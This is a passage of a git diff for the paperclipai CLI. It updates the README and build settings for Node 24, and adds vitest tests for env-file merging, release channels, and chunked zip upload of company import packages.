instances can move without a hand-carried bundle. ### ⚪ Desktop App diff --git a/cli/README.md b/cli/README.md index 97277ddd2cb..5817e6b6fdf 100644 --- a/cli/README.md +++ b/cli/README.md @@ -305,7 +305,7 @@ pnpm dev This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required. -> **Requirements:** Node.js 20+, pnpm 9.15+ +> **Requirements:** Node.js 24.11+, pnpm 9.15+
@@ -332,20 +332,17 @@ By default, agents run on scheduled heartbeats and event-based triggers (task as
-## Paperclip Cloud Sync +## Importing & Exporting Companies -Cloud upstream sync is behind the `Cloud Sync` experimental setting. Enable it in Instance Settings before pushing. +Export a company to a portable package and import it into any other instance — local or cloud — from a local path or GitHub: ```bash -paperclipai cloud connect https://your-stack.paperclip.app -paperclipai cloud connect https://your-stack.paperclip.app --no-browser -paperclipai cloud push --company --dry-run -paperclipai cloud push --company +paperclipai company export --out ./my-export +paperclipai company import ./my-export --dry-run +paperclipai company import org/repo --target new ``` -`cloud connect` authorizes the local instance against the target stack and stores the upstream token in the local instance secret store. The default path opens a browser for consent; `--no-browser` uses the device-code flow and prints the verification URL and user code. - -`cloud push --dry-run` exports the selected local company, sends a preview bundle to the connected Cloud stack, and exits with code `2` when conflicts need user resolution. A schema mismatch exits with code `3`. Running without `--dry-run` stages chunks idempotently, applies the run, and prints the final summary and recent progress events. +The board UI has matching Export and Import pages in company settings: the Export page shows a fidelity panel listing what the bundle will not carry, and the Import page starts imported agents and routines paused by default, with a post-import activation step. See the [Importing & Exporting guide](https://github.com/paperclipai/paperclip/blob/master/docs/guides/board-operator/importing-and-exporting.md) for details. ## Development diff --git a/cli/esbuild.config.mjs b/cli/esbuild.config.mjs index 99e50ee4796..fee12f51fbc 100644 --- a/cli/esbuild.config.mjs +++ b/cli/esbuild.config.mjs @@ -6,6 +6,7 @@ */ import { readFileSync } from "node:fs"; +import { createRequire } from "node:module"; import { resolve, dirname } from "node:path"; import { fileURLToPath } from "node:url"; import { bundledCliNpmDependencies } from "../scripts/cli-bundled-npm-dependencies.mjs"; @@ -53,12 +54,23 @@ for (const name of externalWorkspacePackages) { externals.add(name); } +if (bundledCliNpmDependencies.has("embedded-postgres")) { + const requireFromDb = createRequire(resolve(repoRoot, "packages/db/package.json")); + const embeddedPostgresRoot = dirname(requireFromDb.resolve("embedded-postgres")); + const embeddedPostgresPackage = JSON.parse( + readFileSync(resolve(embeddedPostgresRoot, "..", "package.json"), "utf8"), + ); + for (const name of Object.keys(embeddedPostgresPackage.optionalDependencies ?? {})) { + externals.add(name); + } +} + /** @type {import('esbuild').BuildOptions} */ export default { entryPoints: ["src/index.ts"], bundle: true, platform: "node", - target: "node20", + target: "node24", format: "esm", outfile: "dist/index.js", banner: { js: "#!/usr/bin/env node" }, diff --git a/cli/package.json b/cli/package.json index 95cb206c4fe..43893476693 100644 --- a/cli/package.json +++ b/cli/package.json @@ -36,13 +36,14 @@ "typecheck": "tsc --noEmit" }, "dependencies": { - "@clack/prompts": "^0.11.0", + "@clack/prompts": "^1.7.0", "@paperclipai/adapter-claude-local": "workspace:*", "@paperclipai/adapter-codex-local": "workspace:*", "@paperclipai/adapter-cursor-cloud": "workspace:*", "@paperclipai/adapter-cursor-local": "workspace:*", "@paperclipai/adapter-gemini-local": "workspace:*", "@paperclipai/adapter-grok-local": "workspace:*", + "@paperclipai/adapter-kimi-local": "workspace:*", "@paperclipai/adapter-opencode-local": "workspace:*", "@paperclipai/adapter-pi-local": "workspace:*", "@paperclipai/adapter-openclaw-gateway": "workspace:*", @@ -53,13 +54,16 @@ "@paperclipai/hermes-paperclip-adapter": "workspace:*", "drizzle-orm": "0.45.2", "dotenv": "^17.4.2", - "commander": "^13.1.0", + "commander": "^15.0.0", "embedded-postgres": "^18.1.0-beta.16", "picocolors": "^1.1.1" }, "devDependencies": { - "@types/node": "^22.20.1", - "tsx": "^4.23.1", - "typescript": "^5.7.3" + "@types/node": "^24.0.0", + "tsx": "^4.23.12", + "typescript": "^7.0.2" + }, + "engines": { + "node": ">=24.11.0" } } diff --git a/cli/src/__tests__/agent-jwt-env.test.ts b/cli/src/__tests__/agent-jwt-env.test.ts index baf5db5128b..b26ae018df2 100644 --- a/cli/src/__tests__/agent-jwt-env.test.ts +++ b/cli/src/__tests__/agent-jwt-env.test.ts @@ -76,4 +76,62 @@ describe("agent jwt env helpers", () => { expect(contents).toContain('PAPERCLIP_WORKTREE_COLOR="#439edb"'); expect(readPaperclipEnvEntries(envPath).PAPERCLIP_WORKTREE_COLOR).toBe("#439edb"); }); + + it("preserves operator content and CRLF while updating only managed entries", () => { + const configPath = tempConfigPath(); + const envPath = resolveAgentJwtEnvFile(configPath); + const original = [ + "# operator comment", + "DATABASE_URL='postgres://operator:encoded@localhost/paperclip'", + "", + "export PAPERCLIP_HOME = '/old path' # managed path", + "PAPERCLIP_DUPLICATE=stale", + 'PAPERCLIP_DUPLICATE="current"', + "UNKNOWN_VALUE=operator-owned", + "", + ].join("\r\n"); + fs.writeFileSync(envPath, original, { mode: 0o600 }); + + mergePaperclipEnvEntries( + { + PAPERCLIP_HOME: "/new path", + PAPERCLIP_DUPLICATE: "current", + PAPERCLIP_WORKTREE_COLOR: "#439edb", + DATABASE_URL: "postgres://paperclip-must-not-overwrite", + }, + envPath, + ); + + const updated = fs.readFileSync(envPath, "utf8"); + expect(updated).toBe([ + "# operator comment", + "DATABASE_URL='postgres://operator:encoded@localhost/paperclip'", + "", + 'export PAPERCLIP_HOME = "/new path" # managed path', + "PAPERCLIP_DUPLICATE=current", + 'PAPERCLIP_DUPLICATE="current"', + "UNKNOWN_VALUE=operator-owned", + 'PAPERCLIP_WORKTREE_COLOR="#439edb"', + "", + ].join("\r\n")); + expect(updated.replaceAll("\r\n", "")).not.toContain("\n"); + }); + + it("does not replace the env file when managed values are already current", () => { + const configPath = tempConfigPath(); + const envPath = resolveAgentJwtEnvFile(configPath); + const original = [ + "# preserve this file byte-for-byte", + "export PAPERCLIP_HOME = '/same path'", + "UNKNOWN=\"operator encoding\"", + "", + ].join("\n"); + fs.writeFileSync(envPath, original, { mode: 0o600 }); + const previousInode = fs.statSync(envPath).ino; + + mergePaperclipEnvEntries({ PAPERCLIP_HOME: "/same path" }, envPath); + + expect(fs.readFileSync(envPath, "utf8")).toBe(original); + expect(fs.statSync(envPath).ino).toBe(previousInode); + }); }); diff --git a/cli/src/__tests__/agent-lifecycle.test.ts b/cli/src/__tests__/agent-lifecycle.test.ts index 4e2917ce83e..41817823db9 100644 --- a/cli/src/__tests__/agent-lifecycle.test.ts +++ b/cli/src/__tests__/agent-lifecycle.test.ts @@ -83,7 +83,15 @@ describe("agent lifecycle commands", () => { await run(["agent", "runtime-state:reset-session", AGENT_ID, "--task-key", "task-1"]); await run(["agent", "task-sessions", AGENT_ID]); await run(["agent", "skills", AGENT_ID]); - await run(["agent", "skills:sync", AGENT_ID, "--desired-skills", "paperclip,github"]); + await run([ + "agent", + "skills:sync", + AGENT_ID, + "--desired-skills", + "paperclip,github", + "--mode", + "replace", + ]); await run(["agent", "instructions-path:update", AGENT_ID, "--payload-json", JSON.stringify({ path: "/tmp/AGENTS.md" })]); await run(["agent", "instructions-bundle", AGENT_ID]); await run(["agent", "instructions-bundle:update", AGENT_ID, "--payload-json", JSON.stringify({ mode: "managed" })]); diff --git a/cli/src/__tests__/channels.test.ts b/cli/src/__tests__/channels.test.ts new file mode 100644 index 00000000000..97c0ad62220 --- /dev/null +++ b/cli/src/__tests__/channels.test.ts @@ -0,0 +1,81 @@ +import { describe, expect, it } from "vitest"; +import { + channelForVersion, + collectChannelState, + RELEASE_CHANNELS, +} from "../commands/channels.js"; +import type { CommandRunner } from "../commands/install.js"; + +describe("channelForVersion", () => { + it("maps published versions to their lane", () => { + expect(channelForVersion("2026.811.0")).toBe("stable"); + expect(channelForVersion("2026.811.0-beta.0")).toBe("beta"); + expect(channelForVersion("2026.811.0-nightly.0")).toBe("nightly"); + expect(channelForVersion("2026.811.0-canary.3")).toBe("canary"); + }); + + it("treats non-CalVer versions as unknown instead of guessing", () => { + expect(channelForVersion("0.3.1")).toBe("unknown"); + expect(channelForVersion("2026.811.0-rc.1")).toBe("unknown"); + expect(channelForVersion("garbage")).toBe("unknown"); + }); +}); + +describe("collectChannelState", () => { + const versionsByTag: Record = { + latest: "2026.722.0", + beta: "2026.811.0-beta.0", + nightly: "2026.811.0-nightly.0", + canary: "2026.811.0-canary.3", + }; + + const fakeRunner: CommandRunner = async (_command, args) => { + const spec = (args ?? []).find((arg) => arg.startsWith("paperclipai@")); + const tag = spec?.slice("paperclipai@".length) ?? ""; + const version = versionsByTag[tag]; + if (!version) throw new Error(`unexpected dist-tag: ${tag}`); + return { stdout: JSON.stringify(version), stderr: "" }; + }; + + it("resolves every channel's dist-tag from the registry", async () => { + const state = await collectChannelState(fakeRunner); + + expect(state.map((entry) => entry.channel)).toEqual([ + "stable", + "beta", + "nightly", + "canary", + ]); + expect(state.map((entry) => entry.version)).toEqual([ + "2026.722.0", + "2026.811.0-beta.0", + "2026.811.0-nightly.0", + "2026.811.0-canary.3", + ]); + }); + + it("degrades a single unavailable channel to null without failing the rest", async () => { + const flakyRunner: CommandRunner = async (command, args, options) => { + const spec = (args ?? []).find((arg) => arg.startsWith("paperclipai@")); + if (spec === "paperclipai@nightly") throw new Error("registry timeout"); + return fakeRunner(command, args, options); + }; + + const state = await collectChannelState(flakyRunner); + const byChannel = Object.fromEntries(state.map((entry) => [entry.channel, entry.version])); + + expect(byChannel.nightly).toBeNull(); + expect(byChannel.stable).toBe("2026.722.0"); + expect(byChannel.beta).toBe("2026.811.0-beta.0"); + expect(byChannel.canary).toBe("2026.811.0-canary.3"); + }); + + it("keeps the channel table and dist-tags in sync", () => { + expect(RELEASE_CHANNELS.map((entry) => entry.distTag)).toEqual([ + "latest", + "beta", + "nightly", + "canary", + ]); + }); +}); diff --git a/cli/src/__tests__/company-delete.test.ts b/cli/src/__tests__/company-delete.test.ts index d45fc120226..54cc59a2315 100644 --- a/cli/src/__tests__/company-delete.test.ts +++ b/cli/src/__tests__/company-delete.test.ts @@ -27,6 +27,7 @@ function makeCompany(overrides: Partial): Company { createdAt: new Date(), updatedAt: new Date(), ...overrides, + interactionResolverGovernance: overrides.interactionResolverGovernance ?? {}, }; } diff --git a/cli/src/__tests__/company-import-export-e2e.test.ts b/cli/src/__tests__/company-import-export-e2e.test.ts index 47cdbc01d77..79172615e47 100644 --- a/cli/src/__tests__/company-import-export-e2e.test.ts +++ b/cli/src/__tests__/company-import-export-e2e.test.ts @@ -153,6 +153,7 @@ function createServerEnv( env.PORT = String(port); env.SERVE_UI = "false"; env.PAPERCLIP_DB_BACKUP_ENABLED = "false"; + env.PAPERCLIP_DECISION_SIGNING_SECRET = "company-import-export-decision-signing-secret"; env.HEARTBEAT_SCHEDULER_ENABLED = "false"; env.PAPERCLIP_MIGRATION_AUTO_APPLY = "true"; env.PAPERCLIP_UI_DEV_MIDDLEWARE = "false"; diff --git a/cli/src/__tests__/company-import-transfer.test.ts b/cli/src/__tests__/company-import-transfer.test.ts new file mode 100644 index 00000000000..37c0b150bcb --- /dev/null +++ b/cli/src/__tests__/company-import-transfer.test.ts @@ -0,0 +1,512 @@ +import { createHash } from "node:crypto"; +import { deflateRawSync } from "node:zlib"; +import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { Command } from "commander"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { readZipArchive } from "@paperclipai/shared/portability-zip"; +import { + CHUNKED_IMPORT_THRESHOLD_BYTES, + IMPORT_TRANSFER_PART_SIZE_BYTES, + buildImportTransferManifest, + registerCompanyCommands, + EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES, + resolveChunkedImportZip, + uploadCompanyImportTransfer, +} from "../commands/client/company.js"; +import { createStoredZipArchive } from "./helpers/zip.js"; + +const ORIGINAL_ENV = { ...process.env }; + +const tempDirs: string[] = []; + +async function makeTempDir(): Promise { + const dir = await mkdtemp(path.join(os.tmpdir(), "paperclip-company-import-transfer-")); + tempDirs.push(dir); + return dir; +} + +function sha256Hex(bytes: Uint8Array): string { + return createHash("sha256").update(bytes).digest("hex"); +} + +/** Two-part fixture: one full 32 MB part plus a short tail. */ +function buildTwoPartZipBytes(): Uint8Array { + const bytes = new Uint8Array(IMPORT_TRANSFER_PART_SIZE_BYTES + 3); + bytes.set([1, 2, 3], IMPORT_TRANSFER_PART_SIZE_BYTES); + return bytes; +} + +afterEach(async () => { + for (const dir of tempDirs.splice(0)) { + await rm(dir, { recursive: true, force: true }); + } +}); + +describe("buildImportTransferManifest", () => { + it("declares the whole zip and its 32 MB byte-range parts with content hashes", () => { + const zipBytes = buildTwoPartZipBytes(); + const manifest = buildImportTransferManifest(zipBytes); + + expect(manifest.totalBytes).toBe(zipBytes.length); + expect(manifest.partSizeBytes).toBe(IMPORT_TRANSFER_PART_SIZE_BYTES); + expect(manifest.zipSha256).toBe(sha256Hex(zipBytes)); + expect(manifest.parts).toEqual([ + { + index: 0, + byteSize: IMPORT_TRANSFER_PART_SIZE_BYTES, + sha256: sha256Hex(zipBytes.subarray(0, IMPORT_TRANSFER_PART_SIZE_BYTES)), + }, + { + index: 1, + byteSize: 3, + sha256: sha256Hex(zipBytes.subarray(IMPORT_TRANSFER_PART_SIZE_BYTES)), + }, + ]); + }); +}); + +// Minimal single-entry DEFLATE zip, byte-compatible with the shared reader — +// the stored-zip helper cannot model a small-compressed/large-inflated entry. +function buildDeflateZip(entryPath: string, text: string): Uint8Array { + const raw = Buffer.from(text, "utf8"); + const body = deflateRawSync(raw); + const name = Buffer.from(entryPath, "utf8"); + let crc = 0xffffffff; + for (const byte of raw) { + crc ^= byte; + for (let bit = 0; bit < 8; bit += 1) crc = (crc & 1) === 1 ? (crc >>> 1) ^ 0xedb88320 : crc >>> 1; + } + crc = (crc ^ 0xffffffff) >>> 0; + const local = Buffer.alloc(30 + name.length); + local.writeUInt32LE(0x04034b50, 0); + local.writeUInt16LE(20, 4); + local.writeUInt16LE(0x0800, 6); + local.writeUInt16LE(8, 8); + local.writeUInt32LE(crc, 14); + local.writeUInt32LE(body.length, 18); + local.writeUInt32LE(raw.length, 22); + local.writeUInt16LE(name.length, 26); + name.copy(local, 30); + const central = Buffer.alloc(46 + name.length); + central.writeUInt32LE(0x02014b50, 0); + central.writeUInt16LE(20, 4); + central.writeUInt16LE(20, 6); + central.writeUInt16LE(0x0800, 8); + central.writeUInt16LE(8, 10); + central.writeUInt32LE(crc, 16); + central.writeUInt32LE(body.length, 20); + central.writeUInt32LE(raw.length, 24); + central.writeUInt16LE(name.length, 28); + central.writeUInt32LE(0, 42); + name.copy(central, 46); + const eocd = Buffer.alloc(22); + eocd.writeUInt32LE(0x06054b50, 0); + eocd.writeUInt16LE(1, 8); + eocd.writeUInt16LE(1, 10); + eocd.writeUInt32LE(central.length, 12); + eocd.writeUInt32LE(local.length + body.length, 16); + return new Uint8Array(Buffer.concat([local, body, central, eocd])); +} + +describe("resolveChunkedImportZip", () => { + + it("returns null for a zip at or under the threshold", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "small.zip"); + await writeFile(zipPath, Buffer.alloc(1024)); + + expect(await resolveChunkedImportZip(zipPath)).toBeNull(); + }); + + it("takes the chunked path for a small zip whose entries inflate past the threshold", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "dense-package.zip"); + // ~64 MB of repetitive text DEFLATEs to a tiny file: far under the raw + // 48 MB threshold, but the inline body would carry the inflated entries, + // so the estimated request size sends the zip down the chunked path. + const zipBytes = buildDeflateZip("dense-package/NOTES.md", "paperclip agent docs\n".repeat(3_200_000)); + await writeFile(zipPath, zipBytes); + + const resolved = await resolveChunkedImportZip(zipPath); + expect(resolved).not.toBeNull(); + expect(resolved!.rootPath).toBe("dense-package"); + expect(sha256Hex(resolved!.zipBytes)).toBe(sha256Hex(zipBytes)); + }); + + it("uses the lower existing-company threshold for the chunk decision", async () => { + const dir = await makeTempDir(); + const packageDir = path.join(dir, "midsize-package"); + await mkdir(path.join(packageDir, "blobs"), { recursive: true }); + await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n"); + // ~9 MB of blob bytes: estimated inline ~12 MB — fine for the generic + // import path (64 MB parser) but over the existing-company path's + // default 10 MB parser, so only the existing-target threshold chunks it. + await writeFile(path.join(packageDir, "blobs", "1a2b3c4d"), Buffer.alloc(9 * 1024 * 1024, 5)); + + expect(await resolveChunkedImportZip(packageDir)).toBeNull(); + const chunked = await resolveChunkedImportZip( + packageDir, + EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES, + ); + expect(chunked).not.toBeNull(); + expect(chunked!.rootPath).toBe("midsize-package"); + }); + + it("keeps a small zip inline when its entries stay under the estimated threshold", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "modest-package.zip"); + await writeFile(zipPath, buildDeflateZip("modest-package/COMPANY.md", "# Company\n")); + + expect(await resolveChunkedImportZip(zipPath)).toBeNull(); + }); + + it("reads an oversized zip file as-is so its declared hashes match the file on disk", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "big-package.zip"); + const zipBytes = Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 7); + await writeFile(zipPath, zipBytes); + + const resolved = await resolveChunkedImportZip(zipPath); + expect(resolved).not.toBeNull(); + expect(resolved!.rootPath).toBe("big-package"); + expect(resolved!.zipBytes.length).toBe(zipBytes.length); + expect(sha256Hex(resolved!.zipBytes)).toBe(sha256Hex(zipBytes)); + }); + + it("returns null for a folder whose portable content is under the threshold", async () => { + const dir = await makeTempDir(); + const packageDir = path.join(dir, "small-package"); + await mkdir(packageDir, { recursive: true }); + await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n"); + + expect(await resolveChunkedImportZip(packageDir)).toBeNull(); + }); + + it("takes the chunked path for a binary-heavy folder whose inline body outgrows the threshold", async () => { + const dir = await makeTempDir(); + const packageDir = path.join(dir, "binary-package"); + await mkdir(path.join(packageDir, "blobs"), { recursive: true }); + await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n"); + // 40 MB of raw blob bytes: under the 48 MB raw threshold, but the inline + // JSON body would carry them base64-inflated (~53 MB) — past the + // threshold on the estimated request size, so the zip travels chunked. + await writeFile( + path.join(packageDir, "blobs", "9a1b2c3d"), + Buffer.alloc(40 * 1024 * 1024, 3), + ); + + const resolved = await resolveChunkedImportZip(packageDir); + expect(resolved).not.toBeNull(); + expect(resolved!.rootPath).toBe("binary-package"); + const archive = await readZipArchive(resolved!.zipBytes); + expect(Object.keys(archive.files).sort()).toEqual(["COMPANY.md", "blobs/9a1b2c3d"]); + }); + + it("keeps a text folder under both the raw and estimated measures inline", async () => { + const dir = await makeTempDir(); + const packageDir = path.join(dir, "text-package"); + await mkdir(packageDir, { recursive: true }); + await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n"); + // Sizable but nowhere near the threshold on either measure: text entries + // travel JSON-escaped, close to their raw size, so no base64 inflation + // pushes this folder onto the chunked path. + await writeFile(path.join(packageDir, "NOTES.md"), "agent docs line\n".repeat(200_000)); + + expect(await resolveChunkedImportZip(packageDir)).toBeNull(); + }); + + it("zips an oversized folder in memory with the same walk filters as the inline path", async () => { + const dir = await makeTempDir(); + const packageDir = path.join(dir, "big-package"); + await mkdir(path.join(packageDir, "blobs"), { recursive: true }); + await mkdir(path.join(packageDir, ".git"), { recursive: true }); + await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n"); + await writeFile(path.join(packageDir, "notes.txt"), "not portable\n"); + await writeFile(path.join(packageDir, ".git", "HEAD"), "ref: refs/heads/main\n"); + await writeFile( + path.join(packageDir, "blobs", "4f2d1c9a"), + Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 9), + ); + + const resolved = await resolveChunkedImportZip(packageDir); + expect(resolved).not.toBeNull(); + expect(resolved!.rootPath).toBe("big-package"); + + // The archive unzips back into the same bundle the inline source carries. + const archive = await readZipArchive(resolved!.zipBytes); + expect(archive.rootPath).toBe("big-package"); + expect(Object.keys(archive.files).sort()).toEqual(["COMPANY.md", "blobs/4f2d1c9a"]); + expect(archive.files["COMPANY.md"]).toBe("# Company\n"); + }); +}); + +describe("uploadCompanyImportTransfer", () => { + const zipBytes = buildTwoPartZipBytes(); + type TransferApi = Parameters[0]; + + function fakeApi(overrides: { post?: ReturnType; putRaw?: ReturnType } = {}) { + const post = overrides.post + ?? vi.fn().mockResolvedValue({ + transferId: "transfer-1", + status: "running", + alreadyCompleted: false, + totalParts: 2, + missingParts: [0, 1], + }); + const putRaw = overrides.putRaw ?? vi.fn().mockResolvedValue({ ok: true }); + return { api: { post, putRaw } as unknown as TransferApi, post, putRaw }; + } + + it("uploads only the parts the server reports missing", async () => { + const { api, post, putRaw } = fakeApi({ + post: vi.fn().mockResolvedValue({ + transferId: "transfer-1", + status: "running", + alreadyCompleted: false, + totalParts: 2, + missingParts: [1], + }), + }); + const progress: number[] = []; + + const transferId = await uploadCompanyImportTransfer(api, zipBytes, { + onProgress: (update) => progress.push(update.uploadedParts), + }); + + expect(transferId).toBe("transfer-1"); + expect(post).toHaveBeenCalledWith( + "/api/companies/import/transfers", + expect.objectContaining({ totalBytes: zipBytes.length }), + ); + expect(putRaw).toHaveBeenCalledTimes(1); + expect(putRaw.mock.calls[0]![0]).toBe("/api/companies/import/transfers/transfer-1/parts/1"); + expect(putRaw.mock.calls[0]![1]).toHaveLength(3); + expect(progress).toEqual([2]); + }); + + it("retries a failed part before succeeding", async () => { + const putRaw = vi.fn() + .mockRejectedValueOnce(new Error("socket hang up")) + .mockRejectedValueOnce(new Error("socket hang up")) + .mockResolvedValue({ ok: true }); + const { api } = fakeApi({ putRaw }); + + await expect(uploadCompanyImportTransfer(api, zipBytes)).resolves.toBe("transfer-1"); + // Part 0 took three attempts; part 1 succeeded first try. + expect(putRaw).toHaveBeenCalledTimes(4); + }); + + it("surfaces the upload error after exhausting the per-part attempts", async () => { + const putRaw = vi.fn().mockRejectedValue(new Error("socket hang up")); + const { api } = fakeApi({ putRaw }); + + await expect(uploadCompanyImportTransfer(api, zipBytes)).rejects.toThrow("socket hang up"); + expect(putRaw).toHaveBeenCalledTimes(3); + }); + + it("refuses a transfer whose content was already applied", async () => { + const { api, putRaw } = fakeApi({ + post: vi.fn().mockResolvedValue({ + transferId: "transfer-1", + status: "completed", + alreadyCompleted: true, + totalParts: 2, + missingParts: [], + }), + }); + + await expect(uploadCompanyImportTransfer(api, zipBytes)).rejects.toThrow(/already imported/); + expect(putRaw).not.toHaveBeenCalled(); + }); + + it("names the company the completed transfer created", async () => { + const { api, putRaw } = fakeApi({ + post: vi.fn().mockResolvedValue({ + transferId: "transfer-1", + status: "completed", + alreadyCompleted: true, + totalParts: 2, + missingParts: [], + company: { id: "company-2", name: "Paperclip", issuePrefix: "PAPA" }, + }), + }); + + await expect(uploadCompanyImportTransfer(api, zipBytes)).rejects.toThrow( + /landed in the company "Paperclip" \(PAPA\)/, + ); + expect(putRaw).not.toHaveBeenCalled(); + }); +}); + +describe("company import command over the chunked transfer path", () => { + let fetchMock: ReturnType; + let logSpy: ReturnType; + + beforeEach(() => { + process.env = { ...ORIGINAL_ENV }; + delete process.env.PAPERCLIP_API_URL; + delete process.env.PAPERCLIP_API_KEY; + delete process.env.PAPERCLIP_COMPANY_ID; + fetchMock = vi.fn(); + vi.stubGlobal("fetch", fetchMock); + logSpy = vi.spyOn(console, "log").mockImplementation(() => undefined); + vi.spyOn(console, "error").mockImplementation(() => undefined); + }); + + afterEach(() => { + process.env = { ...ORIGINAL_ENV }; + vi.unstubAllGlobals(); + vi.restoreAllMocks(); + }); + + async function runCommand(args: string[]): Promise { + const program = new Command(); + program.exitOverride(); + program.configureOutput({ + writeOut: () => undefined, + writeErr: () => undefined, + }); + registerCompanyCommands(program); + await program.parseAsync(args, { from: "user" }); + } + + function jsonResponse(body: unknown, status = 200): Response { + return new Response(JSON.stringify(body), { + status, + headers: { "content-type": "application/json" }, + }); + } + + function minimalPreview() { + return { + include: { company: true, agents: true, projects: true, issues: true }, + targetCompanyId: null, + targetCompanyName: null, + collisionStrategy: "rename", + selectedAgentSlugs: [], + plan: { companyAction: "create", agentPlans: [], projectPlans: [], issuePlans: [] }, + manifest: { agents: [], projects: [], issues: [], skills: [], company: null }, + files: {}, + envInputs: [], + warnings: [], + errors: [], + }; + } + + it("slices an oversized local zip into a transfer and applies it against the spool", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "big-package.zip"); + await writeFile(zipPath, Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 5)); + + fetchMock + .mockResolvedValueOnce(jsonResponse({ + transferId: "transfer-1", + status: "running", + alreadyCompleted: false, + totalParts: 2, + missingParts: [0, 1], + })) + .mockResolvedValueOnce(jsonResponse({ ok: true, index: 0, alreadyCompleted: false })) + .mockResolvedValueOnce(jsonResponse({ ok: true, index: 1, alreadyCompleted: false })) + .mockResolvedValueOnce(jsonResponse(minimalPreview())) + .mockResolvedValueOnce(jsonResponse({ + company: { id: "company-9", name: "Imported", action: "created" }, + agents: [], + skills: [], + projects: [], + routines: [], + envInputs: [], + warnings: [], + })); + + await runCommand([ + "company", + "import", + zipPath, + "--target", + "new", + "--yes", + "--json", + "--api-base", + "http://paperclip.test", + "--api-key", + "board-token", + ]); + + expect(fetchMock).toHaveBeenNthCalledWith( + 1, + "http://paperclip.test/api/companies/import/transfers", + expect.objectContaining({ method: "POST" }), + ); + const declared = JSON.parse(String(fetchMock.mock.calls[0]![1].body)); + expect(declared.totalBytes).toBe(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024); + expect(declared.parts).toHaveLength(2); + + expect(fetchMock).toHaveBeenNthCalledWith( + 2, + "http://paperclip.test/api/companies/import/transfers/transfer-1/parts/0", + expect.objectContaining({ + method: "PUT", + headers: expect.objectContaining({ "content-type": "application/octet-stream" }), + }), + ); + expect(fetchMock).toHaveBeenNthCalledWith( + 3, + "http://paperclip.test/api/companies/import/transfers/transfer-1/parts/1", + expect.objectContaining({ method: "PUT" }), + ); + expect(fetchMock).toHaveBeenNthCalledWith( + 4, + "http://paperclip.test/api/companies/import/transfers/transfer-1/preview", + expect.objectContaining({ method: "POST" }), + ); + // Preview and apply carry the meta fields, never an inline source. + const previewBody = JSON.parse(String(fetchMock.mock.calls[3]![1].body)); + expect(previewBody.target).toEqual({ mode: "new_company", newCompanyName: null }); + expect(previewBody).not.toHaveProperty("source"); + expect(fetchMock).toHaveBeenNthCalledWith( + 5, + "http://paperclip.test/api/companies/import/transfers/transfer-1/apply", + expect.objectContaining({ method: "POST" }), + ); + const applyBody = JSON.parse(String(fetchMock.mock.calls[4]![1].body)); + expect(applyBody).not.toHaveProperty("source"); + + expect(JSON.parse(String(logSpy.mock.calls.at(-1)?.[0]))).toMatchObject({ + company: { id: "company-9" }, + }); + }); + + it("keeps small local zips on the inline single-shot path", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "small-package.zip"); + await writeFile(zipPath, createStoredZipArchive({ "COMPANY.md": "# Company\n" }, "small-package")); + + fetchMock.mockResolvedValueOnce(jsonResponse(minimalPreview())); + + await runCommand([ + "company", + "import", + zipPath, + "--target", + "new", + "--dry-run", + "--json", + "--api-base", + "http://paperclip.test", + "--api-key", + "board-token", + ]); + + expect(fetchMock).toHaveBeenCalledTimes(1); + expect(fetchMock).toHaveBeenCalledWith( + "http://paperclip.test/api/companies/import/preview", + expect.objectContaining({ method: "POST" }), + ); + const body = JSON.parse(String(fetchMock.mock.calls[0]![1].body)); + expect(body.source.type).toBe("inline"); + expect(body.source.files["COMPANY.md"]).toBe("# Company\n"); + }); +}); diff --git a/cli/src/__tests__/company-import-zip.test.ts b/cli/src/__tests__/company-import-zip.test.ts index e2983e9a3a9..db01253c22b 100644 --- a/cli/src/__tests__/company-import-zip.test.ts +++ b/cli/src/__tests__/company-import-zip.test.ts @@ -18,12 +18,14 @@ describe("resolveInlineSourceFromPath", () => { const tempDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-company-import-zip-")); tempDirs.push(tempDir); + const blobBytes = new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x00, 0xff]); const archivePath = path.join(tempDir, "paperclip-demo.zip"); const archive = createStoredZipArchive( { "COMPANY.md": "# Company\n", ".paperclip.yaml": "schema: paperclip/v1\n", "agents/ceo/AGENT.md": "# CEO\n", + "blobs/4f2d1c9a": blobBytes, "notes/todo.txt": "ignore me\n", }, "paperclip-demo", @@ -38,6 +40,11 @@ describe("resolveInlineSourceFromPath", () => { "COMPANY.md": "# Company\n", ".paperclip.yaml": "schema: paperclip/v1\n", "agents/ceo/AGENT.md": "# CEO\n", + "blobs/4f2d1c9a": { + encoding: "base64", + data: Buffer.from(blobBytes).toString("base64"), + contentType: "application/octet-stream", + }, }, }); }); diff --git a/cli/src/__tests__/company.test.ts b/cli/src/__tests__/company.test.ts index 3cac3ec72c9..a548c8821a4 100644 --- a/cli/src/__tests__/company.test.ts +++ b/cli/src/__tests__/company.test.ts @@ -504,11 +504,25 @@ describe("renderCompanyImportResult", () => { { slug: "cto", id: "agent-2", action: "updated", name: "CTO", reason: "replace strategy" }, { slug: "ops", id: null, action: "skipped", name: "Ops", reason: "skip strategy" }, ], + skills: [ + { + originalKey: "company/source/review", + originalSlug: "review", + key: "company/target/review-2", + slug: "review-2", + id: "skill-1", + action: "renamed", + reason: "rename strategy", + }, + ], projects: [ { slug: "app", id: "project-1", action: "created", name: "App", reason: null }, { slug: "ops", id: 